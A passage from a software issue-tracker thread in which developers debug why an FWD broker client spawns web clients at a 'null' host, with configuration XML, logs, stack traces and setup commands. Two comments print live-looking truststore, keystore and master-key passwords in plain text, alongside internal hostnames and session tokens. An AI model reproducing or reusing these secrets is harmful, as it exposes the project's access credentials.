I am using trunk_16185, not 9709a. Should I be using that branch? I don't have <agent dedicatedMode="true"/> (or false) in my client xml.
#54 Updated by Sergey Ivanovskiy 10 months ago
It seems that No export or no access to means that the remote access rights is needed because this network service is sure registered by StandardServer
ifaces = new Class[] { BrokerServerServices.class };
RemoteObject.registerStaticNetworkServer(ifaces, BrokerManager.class);
#55 Updated by Sergey Ivanovskiy 10 months ago
It seems that the following access rights should be added to your directory
<node class="container" name="002350">
<node class="resource" name="resource-instance">
<node-attribute name="reftype" value="TRUE"/>
<node-attribute name="reference" value="com.goldencode.p2j.main.BrokerServerServices"/>
</node>
<node class="netRights" name="rights">
<node-attribute name="permissions" value="'0101'B"/>
</node>
<node class="strings" name="subjects">
<node-attribute name="values" value="all_others"/>
</node>
</node>
#56 Updated by Sergey Ivanovskiy 10 months ago
In respect to dedicatedMode please test with this option and without the former. dedicatedMode changes ip address of the spawned web client to localhost.
#57 Updated by Roger Borrello 10 months ago
Sergey Ivanovskiy wrote:
In respect to
dedicatedModeplease test with this option and without the former.dedicatedModechangesipaddress of the spawned web client tolocalhost.
OK... I have added to the 'net' section of the directory that mentioned rights. Also, see broker_client.xml
Where is the "ip address of the spawned web client set to localhost? Is that "agent host="?
#58 Updated by Sergey Ivanovskiy 10 months ago
It is WebClientSpawner code
boolean dedicatedMode = config.getBoolean("client", "web", "dedicatedMode", false);
// dedicated mode section placed just before the driver created
if (dedicatedMode)
{
host = "localhost";
config.setConfigItem(ConfigItem.HOST, host);
}
So the web client url has
localhost in its path. I guess that the server login page should be localhost too, otherwise the browser does not load this page into main-iframe.#59 Updated by Roger Borrello 10 months ago
I ran the above configuration, and now we get some output from the broker client:
fwd@fwddev2:~/projects/hotel_gui/deploy/broker$ ../client/client.sh -bc $(pwd)/broker_client.xml -h fwddev1
INFO: Spawn process started with pid 29609.
25/10/08 11:46:50.085-0400 | FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = fwddev1; port = 3333; secure = true;
25/10/08 11:46:50.536-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: Creating NetSocketWrapper: /192.168.1.162:37051 -> fwddev1/192.168.1.241:3333
25/10/08 11:46:50.540-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(2)
25/10/08 11:46:50.541-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/08 11:46:50.544-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/08 11:46:50.545-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/08 11:46:50.546-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(36)
25/10/08 11:46:50.547-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeBytes(byte[36])
25/10/08 11:46:50.547-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/08 11:46:50.551-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/08 11:46:50.552-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/08 11:46:50.552-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): ''
25/10/08 11:46:50.553-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readBoolean(): false
25/10/08 11:46:50.554-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): '3aKK9v35F51R7Iw7'
25/10/08 11:46:50.955-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[46])
25/10/08 11:46:50.959-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[46]
25/10/08 11:46:50.986-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[189])
25/10/08 11:46:50.994-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93]
25/10/08 11:46:50.997-0400 | FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract java.lang.String[] com.goldencode.p2j.main.RemoteSpawner.getCommand(java.lang.String)
25/10/08 11:46:50.997-0400 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (08dc00f5-b875-484b-b363-4d4157fe817b)
25/10/08 11:46:50.998-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[83])
25/10/08 11:46:51.005-0400 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[470]
25/10/08 11:46:51.006-0400 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [fwd, "", /home/fwd/projects/hotel_gui/deploy/client, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, server:spawner:uuid=08dc00f5-b875-484b-b363-4d4157fe817b]
25/10/08 11:46:51.007-0400 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 8
25/10/08 11:46:51.008-0400 | FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
java.lang.RuntimeException: Only a stack trace, not a real exception!
at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:177)
INFO: The argument number 0 is: fwd.
INFO: The argument number 1 is: "".
INFO: The argument number 2 is: /home/fwd/projects/hotel_gui/deploy/client.
INFO: The argument number 3 is: java.
INFO: The argument number 4 is: -Xmx1G.
INFO: The argument number 5 is: -Djava.awt.headless=true.
INFO: The argument number 6 is: -XX:MaxPermSize=64m.
INFO: The argument number 7 is: -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/.
INFO: The argument number 8 is: -Dfile.encoding=UTF-8.
INFO: The argument number 9 is: -classpath.
INFO: The argument number 10 is: /home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar.
INFO: The argument number 11 is: com.goldencode.p2j.main.ClientDriver.
INFO: The argument number 12 is: net:server:host=fwddev1.
INFO: The argument number 13 is: net:socket:nio=false.
INFO: The argument number 14 is: net:ssl:trackSeqNo=false.
INFO: The argument number 15 is: net:connection:secure=true.
INFO: The argument number 16 is: net:server:secure_port=3333.
INFO: The argument number 17 is: sso:subject:id=bogus.
INFO: The argument number 18 is: sso:storage:id=storage-hotel.
INFO: The argument number 19 is: server:spawner:uuid=08dc00f5-b875-484b-b363-4d4157fe817b.
INFO: Check user account for: fwd.
INFO: The password is null.
INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/fwd/projects/hotel_gui/deploy/client).
INFO: Spawn result code: (0).
INFO: Forked. Setting working directory to /home/fwd/projects/hotel_gui/deploy/client.
Unrecognized VM option 'MaxPermSize=64m'
Error: Could not create the Java Virtual Machine.
Error: A fatal exception has occurred. Program will exit.
So we are now reaching... but still something needs configuration. I removed that value from the broker_client.xml "java args" and tried to restart the broker by Control+C and rerunning, but get:
25/10/08 11:51:48.466-0400 | SEVERE | com.goldencode.p2j.main.BrokerCore [BrokerCore.connect()] | ThreadName:main | Connection Exception.
java.lang.RuntimeException: The broker agent has been already registered.
at com.goldencode.p2j.main.BrokerManager.addUserHostWithCheck(BrokerManager.java:638)
at com.goldencode.p2j.main.BrokerManager.registerBroker(BrokerManager.java:239)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at com.goldencode.p2j.util.MethodInvoker.invoke(MethodInvoker.java:126)
at com.goldencode.p2j.net.Dispatcher.processInbound(Dispatcher.java:808)
at com.goldencode.p2j.net.Conversation.block(Conversation.java:418)
at com.goldencode.p2j.net.Conversation.run(Conversation.java:237)
at java.base/java.lang.Thread.run(Thread.java:840)
I'll have to restart the server, I guess.
One little note... I have fwddev1 and fwddev2 directory structures exactly alike. I may change that so it's obvious where directories lie.
#60 Updated by Roger Borrello 10 months ago
Sergey Ivanovskiy wrote:
It is
WebClientSpawnercode
[...]
So the web client url haslocalhostin its path. I guess that the server login page should belocalhosttoo, otherwise the browser does not load this page intomain-iframe.
In my setup I cannot use localhost, as I am accessing from my laptop https://fwddev1:7443/gui and then I should spawn from fwddev2 my web client.
#61 Updated by Roger Borrello 10 months ago
- File 9709_broker_spawn.png added
I got past the spawner error, now this error:
null's server IP address could not be found

Output from broker client:
25/10/08 12:01:30.141-0400 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [fwd, "", /home/fwd/projects/hotel_gui/deploy/client, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, server:spawner:uuid=a13f48e0-0feb-4cca-ba5b-1d9668dbb77f]
25/10/08 12:01:30.142-0400 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 8
25/10/08 12:01:30.143-0400 | FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
java.lang.RuntimeException: Only a stack trace, not a real exception!
at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:177)
INFO: The argument number 0 is: fwd.
INFO: The argument number 1 is: "".
INFO: The argument number 2 is: /home/fwd/projects/hotel_gui/deploy/client.
INFO: The argument number 3 is: java.
INFO: The argument number 4 is: -Xmx1G.
INFO: The argument number 5 is: -Djava.awt.headless=true.
INFO: The argument number 6 is: -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/.
INFO: The argument number 7 is: -Dfile.encoding=UTF-8.
INFO: The argument number 8 is: -classpath.
INFO: The argument number 9 is: /home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar.
INFO: The argument number 10 is: com.goldencode.p2j.main.ClientDriver.
INFO: The argument number 11 is: net:server:host=fwddev1.
INFO: The argument number 12 is: net:socket:nio=false.
INFO: The argument number 13 is: net:ssl:trackSeqNo=false.
INFO: The argument number 14 is: net:connection:secure=true.
INFO: The argument number 15 is: net:server:secure_port=3333.
INFO: The argument number 16 is: sso:subject:id=bogus.
INFO: The argument number 17 is: sso:storage:id=storage-hotel.
INFO: The argument number 18 is: server:spawner:uuid=a13f48e0-0feb-4cca-ba5b-1d9668dbb77f.
INFO: Check user account for: fwd.
INFO: The password is null.
INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/fwd/projects/hotel_gui/deploy/client).
INFO: Spawn result code: (0).
INFO: Forked. Setting working directory to /home/fwd/projects/hotel_gui/deploy/client.
#62 Updated by Roger Borrello 10 months ago
It looks like I'm getting redirected to https://null:35805/index.html?token=1d47cbd16f9b20b5e1a3f64b9d5636a7 so somewhere there is a config item missing. Is this where fwddev2 should be? I wouldn't think so, since we don't have jetty there, just a web client.
#63 Updated by Roger Borrello 10 months ago
Roger Borrello wrote:
It looks like I'm getting redirected to
https://null:35805/index.html?token=1d47cbd16f9b20b5e1a3f64b9d5636a7so somewhere there is a config item missing. Is this where fwddev2 should be? I wouldn't think so, since we don't have jetty there, just a web client.
When I run without a broker, I get redirected to https://fwddev1:7449/index.html?token=d408a5881bd5e63ea52326814a05b2f0
The command line is:
/opt/spawner/spawn 0 3333 localhost standard 7fe0f7db-1588-48bc-98dd-c503f13beb7b net:socket:nio=false net:ssl:trackSeqNo=false fwd "" /home/fwd/projects/hotel_gui/deploy/broker java -Xmx512m -Djava.awt.headless=true -Djava.library.path=/home/fwd/projects/p2j/build/lib/ -classpath /home/fwd/projects/p2j/build/lib/p2j.jar com.goldencode.p2j.main.ClientDriver net:server:host=localhost net:socket:nio=false net:ssl:trackSeqNo=false net:connection:secure=true net:server:secure_port=3333 sso:subject:id=bogus sso:storage:id=storage-hotel server:spawner:uuid=7fe0f7db-1588-48bc-98dd-c503f13beb7b
The command line using the broker setup is:
/opt/spawner/spawn 0 3333 fwddev1 standard 8d78bc2b-1c2f-41db-b39b-ebbb199b93a2 net:socket:nio=false net:ssl:trackSeqNo=false fwd "" /home/fwd/projects/hotel_gui/deploy/broker java -Xmx512m -Djava.awt.headless=true -Djava.library.path=/home/fwd/projects/p2j/build/lib/ -classpath /home/fwd/projects/p2j/build/lib/p2j.jar com.goldencode.p2j.main.ClientDriver net:server:host=fwddev1 net:socket:nio=false net:ssl:trackSeqNo=false net:connection:secure=true net:server:secure_port=3333 sso:subject:id=bogus sso:storage:id=storage-hotel server:spawner:uuid=8d78bc2b-1c2f-41db-b39b-ebbb199b93a2 client:web:port=7449 client:web:host=fwddev2 client:web:dedicatedMode=false
In the analysis, the main difference is the addition of the client:web:port=7450 client:web:host=fwddev2 client:web:dedicatedMode=false parameters when using the broker (and the used of fwddev1 instead of localhost).
#64 Updated by Sergey Ivanovskiy 10 months ago
Roger Borrello wrote:
I have on fwddev2 the
./deploy/brokerdirectory, and theclient.xmlcontains:
[...]
There is a/opt/spawnerdirectory with all the files for spawning in it.From the fwddev2
./deploy/clientdirectory, I run:
[...]I assume that allows the broker to be ready for spawn requests.
The fwddev1
directory.xmlhas the broker sections as noted above. But the spawning still happens on that server, not on fwddev2. Both server and client logs are on fwddev2.
Why you did not set <agent host="fwddev1"/> to fwddev2 as your broker is on fwddev2 and the standard server is on fwddev1?
#66 Updated by Roger Borrello 10 months ago
I have set the agent to fwddev2 with same results. Let me recap...
On the client (fwddev2) I have ./deploy/broker directory. I am using broker_client.xml {{collapse(show it)
<node type="client">
<client>
<mode broker="true" />
<logging path="/home/fwd/projects/hotel_gui/deploy/logs/client_%uos_%pid_%uf_%g.log" rotationLimit="50000000" rotationCount="4" />
</client>
<net>
<connection secure="true" />
<server host="fwddev1" />
<server secure_port="3333" />
<server port="3433" />
</net>
<security>
<certificate validate="true" />
<truststore filename="srv-certs.store" />
<truststore alias="standard" />
<keystore filename="broker1-private-key.store" />
<keystore processalias="broker1" />
<authentication type="program"/>
</security>
<access>
<password truststore="y40xu^XuxQw9Q%4hB6^kCE58YK=7wRWFywBd" />
<password keystore="(G36RuApnoGKp7zPt(Q4ld3kq^Hz2SwS^61O" />
<password keyentry="dO@8bLG1vgIP<OyaCZbk*9FR12b55Gts8>Wx"/>
<password masterkeyentry="7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x" />
</access>
<remote>
<retry count="10" />
<retry seconds="10" />
<agent host="fwddev2"/>
<agent user="fwd"/>
<agent dedicatedMode="false"/>
<spawner file="/opt/spawner/spawn" />
<java args="-Xmx512m -Djava.awt.headless=true -Djava.library.path=/home/fwd/projects/p2j/build/lib/" />
<java classpath="/home/fwd/projects/p2j/build/lib/p2j.jar" />
</remote>
</node>
I have tried that agent as both, neither worked. I am starting the broker with:
../client/client.sh -bc broker_client.xml -h fwddev1
In the directory, I have the webclient as fwddev2, but have also tried fwddev1.
#67 Updated by Roger Borrello 10 months ago
- File fwddev2.zip added
- File fwddev1.zip added
I have to run to a doctor, but figured I'd post my configuration items from each server.
#68 Updated by Sergey Ivanovskiy 10 months ago
agent means the broker client, so the agent host should be the host that runs broker client. You can debug and see what is a root cause. If you would like to delegate this task to me , then please provide clear instructions of your setup, so I can debug the code.
Please try to change host name to real ip addresses for remote agent that is fwddev2.
#69 Updated by Sergey Ivanovskiy 10 months ago
I do not understand this
../client/client.sh -bc broker_client.xml -h fwddev1
if all data are provided by
broker_client.xml.#70 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
I do not understand this
[...]
if all data are provided bybroker_client.xml.
Me neither... If I run ../client/client.sh -bc broker_client.xml I get a client crash log:
25/10/13 13:55:05.484-0400 | INFO | com.goldencode.p2j.main.BrokerCore [BrokerCore.start()] | ThreadName:main | Connecting (9) ...
25/10/13 13:55:05.816-0400 | SEVERE | com.goldencode.p2j.main.BrokerCore [BrokerCore.connect()] | ThreadName:main | Connection Exception.
java.net.ConnectException: Connection refused
at java.base/sun.nio.ch.Net.connect0(Native Method)
at java.base/sun.nio.ch.Net.connect(Net.java:579)
at java.base/sun.nio.ch.Net.connect(Net.java:568)
at java.base/sun.nio.ch.NioSocketImpl.connect(NioSocketImpl.java:593)
at java.base/java.net.SocksSocketImpl.connect(SocksSocketImpl.java:327)
at java.base/java.net.Socket.connect(Socket.java:633)
at java.base/java.net.Socket.connect(Socket.java:583)
at com.goldencode.p2j.net.SessionManager.connect(SessionManager.java:1268)
at com.goldencode.p2j.net.SessionManager.createQueue(SessionManager.java:1176)
at com.goldencode.p2j.net.LeafSessionManager.connectDirect(LeafSessionManager.java:256)
at com.goldencode.p2j.main.BrokerCore.connect(BrokerCore.java:525)
at com.goldencode.p2j.main.BrokerCore.start(BrokerCore.java:214)
at com.goldencode.p2j.main.ClientDriver.start(ClientDriver.java:283)
at com.goldencode.p2j.main.CommonDriver.process(CommonDriver.java:522)
at com.goldencode.p2j.main.ClientDriver.process(ClientDriver.java:173)
at com.goldencode.p2j.main.ClientDriver.main(ClientDriver.java:347)
and that repeats until
Connecting (0) ... appears.
If I add the -h fwddev1 option, everything works great, and we get a client connection. It's as if the bootstrap value is ignored, and we just try to connect to localhost.
#71 Updated by Sergey Ivanovskiy 9 months ago
It seems that it just means that broker_client.xml was not found by the code. Correct?
#72 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
It seems that it just means that
broker_client.xmlwas not found by the code. Correct?
Must be happening... because at BootstrapConfig.getConfigItem, after the cmap is declared, it is:
{CONNECTION={SECURE=true}, SERVER={HOST=localhost, SECURE_PORT=3333, PORT=3433, INSECURE_PORT=3433}, QUEUE={CONVERSATION=true, START_THREAD=false}, SOCKET={NIO=false}}
I'll have to debug the ClientDriver a little... could be leading to other issues.
#73 Updated by Roger Borrello 9 months ago
When BootstrapConfig constructor is called, Element root = loadXml(sharedFile, sharedPassphrase); returns [node: null]
#74 Updated by Roger Borrello 9 months ago
Roger Borrello wrote:
When
BootstrapConfigconstructor is called,Element root = loadXml(sharedFile, sharedPassphrase);returns[node: null]
I tried a fully qualified boostrap file (/home/fwd/projects/hotel_gui/deploy/broker/broker_client.xml) and got the same results.
The strange thing is the other values are valid, except NET:SERVER:HOST:
sharedFile = /home/fwd/projects/hotel_gui/deploy/broker/broker_client.xml; privateFile = none; isServer = false; configuraton values =
{
CLIENT:MODE:BROKER = true
CLIENT:MODE:BATCH = true
CLIENT:LOGGING:PATH = /home/fwd/projects/hotel_gui/deploy/logs/client_%uos_%pid_%uf_%g.log
CLIENT:LOGGING:ROTATIONCOUNT = 4
CLIENT:LOGGING:ROTATIONLIMIT = 50000000
CLIENT:DRIVER:BACKGROUND = true
NET:CONNECTION:SECURE = true
NET:SERVER:HOST = localhost
NET:SERVER:SECURE_PORT = 3333
NET:SERVER:PORT = 3433
NET:SERVER:INSECURE_PORT = 3433
NET:QUEUE:CONVERSATION = true
NET:QUEUE:START_THREAD = false
NET:SOCKET:NIO = false
SECURITY:CERTIFICATE:VALIDATE = true
SECURITY:TRUSTSTORE:FILENAME = srv-certs.store
SECURITY:TRUSTSTORE:ALIAS = standard
SECURITY:KEYSTORE:FILENAME = broker1-private-key.store
SECURITY:KEYSTORE:PROCESSALIAS = broker1
SECURITY:AUTHENTICATION:TYPE = program
ACCESS:PASSWORD:TRUSTSTORE = y40xu^XuxQw9Q%4hB6^kCE58YK=7wRWFywBd
ACCESS:PASSWORD:KEYSTORE = (G36RuApnoGKp7zPt(Q4ld3kq^Hz2SwS^61O
ACCESS:PASSWORD:KEYENTRY = dO@8bLG1vgIP<OyaCZbk*9FR12b55Gts8>Wx
ACCESS:PASSWORD:MASTERKEYENTRY = 7sN5iwk$E4W1cJ>0M~ID>E2hTNt1ZI0x
REMOTE:RETRY:COUNT = 10
REMOTE:RETRY:SECONDS = 10
REMOTE:AGENT:HOST = fwddev2
REMOTE:AGENT:USER = fwd
REMOTE:AGENT:DEDICATEDMODE = false
REMOTE:SPAWNER:FILE = /opt/spawner/spawn
REMOTE:JAVA:ARGS = -Xmx512m -Djava.awt.headless=true -Djava.library.path=/home/fwd/projects/p2j/build/lib/
REMOTE:JAVA:CLASSPATH = /home/fwd/projects/p2j/build/lib/p2j.jar
}
even though the file contains:
<net>
<connection secure="true" />
<server host="fwddev1" />
<server secure_port="3333" />
<server port="3433" />
</net>
#75 Updated by Roger Borrello 9 months ago
There is a bug in client.sh in which the host variable defaults to net:server:host=localhost unless the -h option is included. Once I cleared the host variable if the -c variable is included as a parameter, it found the correct host for connection.
I will update the versions in the hotel samples. Individual projects will need to see if this affects them, if they are using the broken version.
#76 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
agentmeans the broker client, so theagent hostshould be the host that runs broker client. You can debug and see what is a root cause. If you would like to delegate this task to me , then please provide clear instructions of your setup, so I can debug the code.
Please try to change host name to real ip addresses for remote agent that isfwddev2.
I updated the broker_client.xml file to have:
<remote>
<retry count="10" />
<retry seconds="10" />
<agent host="192.168.1.162"/>
<agent user="fwd"/>
<agent dedicatedMode="false"/>
<spawner file="/opt/spawner/spawn" />
<java args="-Xmx512m -Djava.awt.headless=true -Djava.library.path=/home/fwd/projects/p2j/build/lib/" />
<java classpath="/home/fwd/projects/p2j/build/lib/p2j.jar" />
</remote>
No change in the behavior.
Based upon these lines in the server log after the client connects:
25/10/13 16:06:36.198-0400 | INFO | com.goldencode.p2j.main.BrokerManager [BrokerManager.registerBroker()] | ThreadName:Conversation [00000002:broker1_process], Session:00000002, ThreadId:00000005, User:broker1_process | Broker user=broker1_process uuid=6f6cd6cd-c33e-4860-a31d-d0b926cc0a8b registered. 25/10/13 16:07:02.940-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp185048994-58 | not available host:port /192.168.1.162:7449. 25/10/13 16:07:07.945-0400 | INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp185048994-58 | Returns the redirect url https://null:39261/index.html?token=6563b44ebdbfee10300130fb7399c976 as response to GUI client.
I broke in WebDriverHandler.spawnWorker, and I cannot find where the URI is set... at this point the URI is https://null:xxxxx. Can this be related to the proxy setup? Because that proxy server is null.
int exitCode = spawner.spawn(webClientsManager,
new String[] {
requestParameters.getForwardedHost(),
requestParameters.getForwardedProto(),
requestParameters.getExternalUserIp()});
if (exitCode == 0)
{
try
{
result.uri = spawner.getRemoteUri();
result.storageId = storageId;
result.rc = SupportedHttpCode.SUCCESS;
}
catch (URISyntaxException e)
{
LOG.log(Level.SEVERE,
e,
"Rewrite failed: X_FORWARDED_HOST=%s X_FORWARDED_PROTO=%s",
requestParameters.getForwardedHost(),
requestParameters.getForwardedProto());
}
}
#77 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
agentmeans the broker client, so theagent hostshould be the host that runs broker client. You can debug and see what is a root cause. If you would like to delegate this task to me , then please provide clear instructions of your setup, so I can debug the code.
If you could attempt this... I am not sure where to go next. You will need 2 virtual servers, fwddev1 and fwddev2. Install the 24.04 Ubuntu server, then the mgmt package.
On fwddev1 and fwddev2 (user your own xfer ID, and change -srvhost=fwddev2 on fwddev2):
mkdir projects
cd projects
bzr co sftp://rfb@xfer.goldencode.com/opt/fwd/mgmt
cd mgmt
./install.sh -local -srvhost=$(hostname) -adminuser=fwd -mode=fwd_reference \
os_language=en_US \
os_encoding=UTF-8 \
os_timezone=America/New_York
You should also add your IP addresses to each of the /etc/hosts file as fwddev1 and fwddev2 (and both on your laptop).
Pull trunk from xfer (the image created by the mgmt project is customer focused). Make sure to use your user ID. Perform this on both servers.
cd ~/projects bzr co sftp://rfb@xfer.goldencode.com/opt/fwd/trunk cd trunk ./gradlew core
Position hotel_gui on each server. Use the copy in xfer.goldencode.com:/home/rfb/repo/hotel_gui_with_broker.zip which is the latest hotel_gui with my updates for broker.
cd ~/projects scp rfb@xfer.goldencode.com:/home/rfb/repo/hotel_gui_with_broker.zip unzip -q hotel_gui_with_broker.zip -d hotel_gui
Build hotel_gui (ant deployapp) on each server (use your ID on -u):
cd ~/projects/hotel_gui ./bootstrap_conversion.sh -enf ~/projects/trunk -u rfb ant deployapp
On fwddev1, install the spawner, configure the directory using ./deploy/server/prepare_dir_h2.json, import data, and start the server:
cd ~/projects/hotel_gui ./install_spawner.sh -a cd deploy/server ./prepare_dir.sh -of prepare_dir_h2.json ./importdbs.sh -r ../../data/dump -a ../lib/hotel.jar ./start_server.sh
On fwddev2, install the spawner, and start the broker:
cd ~/projects/hotel_gui ./install_spawner.sh -a cd deploy/broker ../client/client.sh -bc broker_client.xml
Then you should be able to access https://fwddev2:7443/gui from your laptop.
#78 Updated by Sergey Ivanovskiy 9 months ago
Could you prove for yourself that the directory setting for the broker client given by this xml file is applied successfully? Also I would test Java 8 because the current code has been tested with Java 8. The broker client surely worked properly at some moment and probably Galya Bogdanova tested the broker client after the newest web client changes.
#79 Updated by Sergey Ivanovskiy 9 months ago
If you could attempt this... I am not sure where to go next. You will need 2 virtual servers, fwddev1 and fwddev2. Install the 24.04 Ubuntu server, then the mgmt package.
My host has Ubuntu 22.04.
Roger, could you help me with more instructions about how to set up 24.04 Ubuntu server and the mgmt package?
#80 Updated by Sergey Ivanovskiy 9 months ago
Did you mean to run
./install.sh -srvhost=$(hostname) -local -adminuser=fwd -mode=docker_host \
os_language=en_US \
os_encoding=UTF-8 \
os_timezone=America/New_York
with
adminuser changed to my OS id?#81 Updated by Roger Borrello 9 months ago
Install the base Ubuntu OS from the Live ISO: ubuntu-24.04.2-live-server-amd64.iso
Make primary user "fwd", password "fwd". Nothing special. After completion, install the mgmt project. That is why -adminuser would be fwd.
#82 Updated by Roger Borrello 9 months ago
Please note this update to fwd_reference_system.yml... Comment out the one role... I haven't had a chance to update the project.
---
- hosts: all
name: FWD Reference
# any vars that are used in multiple roles should have defaults set here, the rest can be stored
# in role-specific defaults/main.yml files
vars:
os_language: "en_US"
os_encoding: "UTF-8"
os_timezone: "America/New_York"
remote_user_id: "{{ ansible_ssh_user | default('fwd') }}"
xfer_user_id: "fwd"
fwd_install_root: "/opt"
fwd_install_branch: "trunk"
fwd_home_dir: "/home/fwd"
fwd_acct_name: "fwd"
fwd_docker_repo: "goldencode"
fwd_docker_image: "fwd_4.0_ubuntu_22.04"
fwd_docker_tag: "latest"
roles:
- base
- fwd_acct
- dev_tools
- interactive_users
- jdk
- ncurses
- docker
# - pull_docker_fwd
- { role: reboot_here, ignore_errors: yes }
Also, run this command. I will update the previous notes:
./install.sh -srvhost=$(hostname) -local -adminuser=fwd -mode=fwd_reference \
os_language=en_US \
os_encoding=UTF-8 \
os_timezone=America/New_York
#83 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
Could you prove for yourself that the directory setting for the broker client given by this xml file is applied successfully?
How would I confirm? Where do I break and look?
Also I would test Java 8 because the current code has been tested with Java 8. The broker client surely worked properly at some moment and probably Galya Bogdanova tested the broker client after the newest web client changes.
I will try this, but I only have the FWD runtime files in place. I may not have enough space in my VM for sources and a build.
#84 Updated by Sergey Ivanovskiy 9 months ago
Roger, I will follow your instructions. In your note #9709-76 you wrote that
I broke in WebDriverHandler.spawnWorker, and I cannot find where the URI is set... at this point the URI is https://null:xxxxx. Can this be related to the proxy setup? Because that proxy server is null.
I think that we do not use the proxy server here. It seems that result.uri = spawner.getRemoteUri(); should return url that should be WebClientSpawner.getRemoteUri().
#85 Updated by Sergey Ivanovskiy 9 months ago
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
Could you prove for yourself that the directory setting for the broker client given by this xml file is applied successfully?
How would I confirm? Where do I break and look?
Also I would test Java 8 because the current code has been tested with Java 8. The broker client surely worked properly at some moment and probably Galya Bogdanova tested the broker client after the newest web client changes.
I will try this, but I only have the FWD runtime files in place. I may not have enough space in my VM for sources and a build.
I think that we can try the broker configuration that all clients are run on the same host. The broker client is run on the same host where the standard server is running.
#86 Updated by Roger Borrello 9 months ago
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
Also I would test Java 8 because the current code has been tested with Java 8. The broker client surely worked properly at some moment and probably Galya Bogdanova tested the broker client after the newest web client changes.
I will try this, but I only have the FWD runtime files in place. I may not have enough space in my VM for sources and a build.
I tried this with no changes in behavior.
#87 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
I think that we can try the broker configuration that all clients are run on the same host. The broker client is run on the same host where the standard server is running.
I tried this... all on fwddev1, and there wasn't a change in behavior. It still shows null in the URL. Server log shows:
